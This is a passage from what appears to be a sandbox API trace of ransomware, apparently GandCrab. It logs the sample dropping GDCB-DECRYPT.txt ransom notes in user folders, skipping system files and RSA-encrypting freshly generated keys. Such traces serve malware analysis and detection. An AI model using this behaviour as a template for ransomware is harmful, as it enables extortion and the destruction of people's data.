pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.655] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\EmieBrowserModeList\\\\GDCB-DECRYPT.txt") returned 288 [0171.655] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\EmieBrowserModeList\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\emiebrowsermodelist\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.655] GetLastError () returned 0x3 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.655] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\EmieSiteList\\\\GDCB-DECRYPT.txt") returned 281 [0171.655] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\EmieSiteList\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\emiesitelist\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.655] GetLastError () returned 0x3 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.655] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\EmieUserList\\\\GDCB-DECRYPT.txt") returned 281 [0171.656] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\EmieUserList\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\emieuserlist\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.656] GetLastError () returned 0x3 [0171.656] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log") returned 278 [0171.656] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log") returned 278 [0171.656] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log") returned 278 [0171.656] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log") returned 278 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="desktop.ini") returned 1 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="autorun.inf") returned 1 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="ntuser.dat") returned -1 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="iconcache.db") returned 1 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="bootsect.bak") returned 1 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="boot.ini") returned 1 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="ntuser.dat.log") returned -1 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="thumbs.db") returned -1 [0171.656] lstrcmpiW (lpString1="ie4uinit-ClearIconCache.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.656] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log")) returned 0xffffffff [0171.656] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log", dwFileAttributes=0xfffffffe) returned 0 [0171.656] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.656] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.657] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.657] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0171.657] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.657] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.657] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.657] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0171.659] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617628) returned 1 [0171.659] CryptGetKeyParam (in: hKey=0x617628, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.659] CryptEncrypt (in: hKey=0x617628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2cd0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2cd0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.660] GetLastError () returned 0x0 [0171.660] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.660] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0171.661] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6175a8) returned 1 [0171.662] CryptGetKeyParam (in: hKey=0x6175a8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.662] CryptEncrypt (in: hKey=0x6175a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ce0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2ce0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.662] GetLastError () returned 0x0 [0171.662] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.662] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.662] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log") returned 274 [0171.662] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log") returned 274 [0171.662] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log") returned 274 [0171.662] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log") returned 274 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="desktop.ini") returned 1 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="autorun.inf") returned 1 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="ntuser.dat") returned -1 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="iconcache.db") returned 1 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="bootsect.bak") returned 1 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="boot.ini") returned 1 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="ntuser.dat.log") returned -1 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="thumbs.db") returned -1 [0171.662] lstrcmpiW (lpString1="ie4uinit-UserConfig.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.662] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-userconfig.log")) returned 0xffffffff [0171.662] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log", dwFileAttributes=0xfffffffe) returned 0 [0171.662] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.663] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.663] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.663] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.663] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.663] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.664] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.664] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.664] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.664] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0171.666] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617b28) returned 1 [0171.666] CryptGetKeyParam (in: hKey=0x617b28, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.666] CryptEncrypt (in: hKey=0x617b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2cf0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2cf0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.666] GetLastError () returned 0x0 [0171.666] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.666] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0171.669] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617828) returned 1 [0171.669] CryptGetKeyParam (in: hKey=0x617828, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.669] CryptEncrypt (in: hKey=0x617828, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d00000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d00000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.669] GetLastError () returned 0x0 [0171.670] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.670] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-userconfig.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.670] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\IECompatData\\\\GDCB-DECRYPT.txt") returned 281 [0171.670] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\IECompatData\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\iecompatdata\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.670] GetLastError () returned 0x3 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.670] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\IEFlipAheadCache\\\\GDCB-DECRYPT.txt") returned 285 [0171.670] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\IEFlipAheadCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ieflipaheadcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.670] GetLastError () returned 0x3 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.670] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.671] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\imagestore\\\\GDCB-DECRYPT.txt") returned 279 [0171.671] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\imagestore\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\imagestore\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.671] GetLastError () returned 0x3 [0171.671] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT") returned 263 [0171.671] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT") returned 263 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.671] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\\\GDCB-DECRYPT.txt") returned 277 [0171.671] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.671] GetLastError () returned 0x3 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.671] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\TabRoaming\\\\GDCB-DECRYPT.txt") returned 279 [0171.671] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\TabRoaming\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tabroaming\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.671] GetLastError () returned 0x3 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.671] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: 